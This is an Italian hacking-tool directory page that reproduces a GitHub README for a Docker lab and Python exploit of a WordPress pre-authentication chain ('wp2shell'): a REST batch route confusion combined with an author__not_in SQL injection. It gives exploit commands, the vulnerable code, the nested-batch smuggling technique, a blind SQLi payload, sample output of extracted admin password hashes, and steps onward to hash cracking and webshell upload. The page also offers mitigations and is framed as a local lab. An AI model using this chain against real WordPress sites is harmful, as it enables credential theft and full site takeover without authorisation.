Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
EXPLOIT-CVE-2026-63030 — Laboratorio WordPress vulnerabile basato su Docker con exploit in Python che dimostra confusione di route pre-autenticazione e catena di SQL injection (CVE-2026-63030 + CVE-2026-60137) per l'estrazione di credenziali e RCE. | Kitploit
Strumenti/GitHubGitHub/joaovicdev/exploit-cve-2026-63030
Scanner di VulnerabilitàExploitSicurezza WebCTFApprendimento e FormazioneLab e Pratica
GitHubjoaovicdev/exploit-cve-2026-63030

EXPLOIT-CVE-2026-63030

Laboratorio WordPress vulnerabile basato su Docker con exploit in Python che dimostra confusione di route pre-autenticazione e catena di SQL injection (CVE-2026-63030 + CVE-2026-60137) per l'estrazione di credenziali e RCE.

Vedi Repository
1151 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Lab — CVE-2026-63030 (“wp2shell”) + CVE-2026-60137

Ambiente Docker volutamente vulnerabile con WordPress Core 7.0.1 e un exploit in Python che dimostra la catena pre-autenticazione wp2shell:

CVEComponenteDescrizione
CVE-2026-63030REST API /wp-json/batch/v1Route confusion: desincronizzazione tra validazione e dispatch delle sub-request
CVE-2026-60137WP_Query (author__not_in)SQL injection quando il valore è una stringa invece di un array

Incatinate, consentono a un attaccante senza alcuna credenziale di eseguire SQL arbitrario (e, nella sequenza completa, di arrivare a RCE). Corretto in WordPress 6.9.5 e 7.0.2. Versioni interessate dalla catena RCE: 6.9.0–6.9.4 e 7.0.0–7.0.1.

⚠️ Avviso: ambiente volutamente insicuro. Usalo solo localmente, in isolamento. Non esporlo mai su internet. L'exploit deve essere usato solo contro questo lab (o sistemi per i quali hai un'autorizzazione esplicita).


1. Avviare l'ambiente

root@kitploit:~
docker compose up -d db wordpress      # sobe MySQL + WordPress 7.0.1
docker compose run --rm wpcli          # instala o WP e cria conteúdo/usuários

Questo crea:

  • Sito su http://localhost:8080
  • admin / SuperSecret123!
  • victim / Victim_P@ss_2026 (secondo admin, bersaglio dell'estrazione dell'hash)
  • 1 post pubblicato (necessario affinché get_items() restituisca righe)

Conferma la versione vulnerabile:

root@kitploit:~
curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"'
# ... ou:
docker exec wp2shell-cli wp core version   # 7.0.1

2. Eseguire l'exploit

root@kitploit:~
python3 exploit.py --url http://localhost:8080

Output (riassunto):

root@kitploit:~
[+] Route confusion OK: GET /wp/v2/users executou sob posts get_items()
[+] SQL injection cega confirmada (oráculo booleano 1=1 vs 1=2)
[*] Fingerprint do banco de dados:
    versão MySQL  = 8.0.46
    usuário atual = wordpress@%
    database      = wordpress
[+] Credenciais extraídas (pré-autenticação, sem login):
  ID=1  login=admin
    hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
  ID=2  login=victim
    hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e

Altre opzioni:

root@kitploit:~
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version"   # SQL arbitrario
python3 exploit.py --url http://localhost:8080 --mode time                # blind time-based
python3 exploit.py --url http://localhost:8080 -v                         # mostra ogni query

L'exploit usa solo la libreria standard di Python 3 (senza dipendenze).

Verificare che i dati trapelati siano reali

root@kitploit:~
docker exec wp2shell-db mysql -uroot -prootpass -N \
  -e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"

Gli hash devono essere identici a quelli estratti dall'exploit (che non ha mai avuto accesso al database).


3. Come funziona la catena (meccanica reale, verificata nel codice)

3.1 Il bug di desincronizzazione (serve_batch_request_v1)

In wp-includes/rest-api/class-wp-rest-server.php, l'handler del batch usa due array paralleli: $matches (rotta/handler abbinati) e $validation (risultato della validazione):

root@kitploit:~
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {   // ex.: path "///" -> wp_parse_url()==false
        $has_error    = true;
        $validation[] = $single_request;        // <-- entra SÓ em $validation
        continue;                               // <-- $matches NÃO recebe entrada => desync!
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    ...
    $validation[] = $error ? $error : true;
}

Nel dispatch, l'handler viene letto per indice in $matches[$i], mentre $single_request e $validation[$i] seguono l'indice completo di $requests. Un primer che fallisce il parse ("///") sposta tutto in $matches di una posizione — quindi una sub-request viene eseguita sotto l'handler di un'altra.

3.2 Lo smuggling di sub-request GET (batch annidato)

Lo schema del batch accetta solo metodi POST/PUT/PATCH/DELETE (GET viene rifiutato con rest_not_in_enum). L'exploit aggira il tutto con batch dentro batch:

root@kitploit:~
BATCH EXTERNO (métodos válidos):
  [ primer("///"),
    carrier = POST /wp/v2/posts  (body = BATCH INTERNO),
    POST /batch/v1 ]
  • Il carrier viene validato come create_item dei post (passa: allow_batch=true, senza parametri obbligatori). Poiché non viene validato come batch, il suo body sfugge alla validazione dell'enum dei metodi.
  • Il desync esterno fa sì che il carrier venga instradato sotto l'handler /batch/v1 (rubato dalla 3ª sub-request) → serve_batch_request_v1 processa il body grezzo, con sub-request GET.

3.3 Arrivare al sink SQL

root@kitploit:~
BATCH INTERNO:
  [ primer("///"),
    GET /wp/v2/users?author_exclude=<PAYLOAD>,   <-- users NÃO define author_exclude => valor cru
    GET /wp/v2/posts ]

Nuovo desync interno → la request GET /wp/v2/users (che trasporta author_exclude non sanificato) viene eseguita sotto posts get_items(). Qui:

root@kitploit:~
// class-wp-rest-posts-controller.php
'author_exclude' => 'author__not_in',   // mapeamento

E in WP_Query (class-wp-query.php), il codice vulnerabile:

root@kitploit:~
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {          // <-- string PULA a sanitização
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
        sort( ... );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";   // <-- injeção
}

Payload booleano usato: 0) AND (<condizione>)-- -, che trasforma la WHERE in un oracolo (lista con post = vero; lista vuota = falso). Estrazione carattere per carattere tramite ricerca binaria.

Nota: il percorso è raggiungibile quando non c'è object cache persistente (il default del lab), come descritto nell'advisory.


4. Sequenza completa fino a RCE (wp2shell)

Questo lab valida la parte pre-autenticazione (route confusion → SQLi → fuga di hash), che è il cuore della catena. La sequenza completa dell'advisory prosegue con:

  1. Craccare l'hash $wp$2y$... (bcrypt) offline — hashcat -m 3200.
  2. Accedere a /wp-admin con la password recuperata.
  3. Caricare un plugin PHP malevolo (o modificare il tema) → webshell / RCE.

5. Mitigazione

  • Aggiornare WordPress Core a 6.9.5 / 7.0.2 (o superiore). La patch:
    • costringe author__not_in a interi (wp_parse_id_list) anche quando è una stringa;
    • garantisce che gli errori del batch occupino una posizione in entrambi gli array (fine del desync).
  • Mitigazioni compensative: WAF che filtra /wp-json/batch/v1, disabilitare la REST API non autenticata, monitorare le request con author_exclude contenente SQL.

6. Pulizia

root@kitploit:~
docker compose down -v      # remove containers + volumes (dados)

Riferimenti

  • Rapid7 — ETR: CVE-2026-63030 wp2shell
  • The Hacker News — New wp2shell WordPress Core Flaw
  • ZSec — wp2shell Code Trace Deep Dive
  • Mallory.ai — CVE-2026-63030 REST API Batch Route Confusion
  • Penligent — wp2shell: Patch Priority & Safe Validation
Scarica lo strumento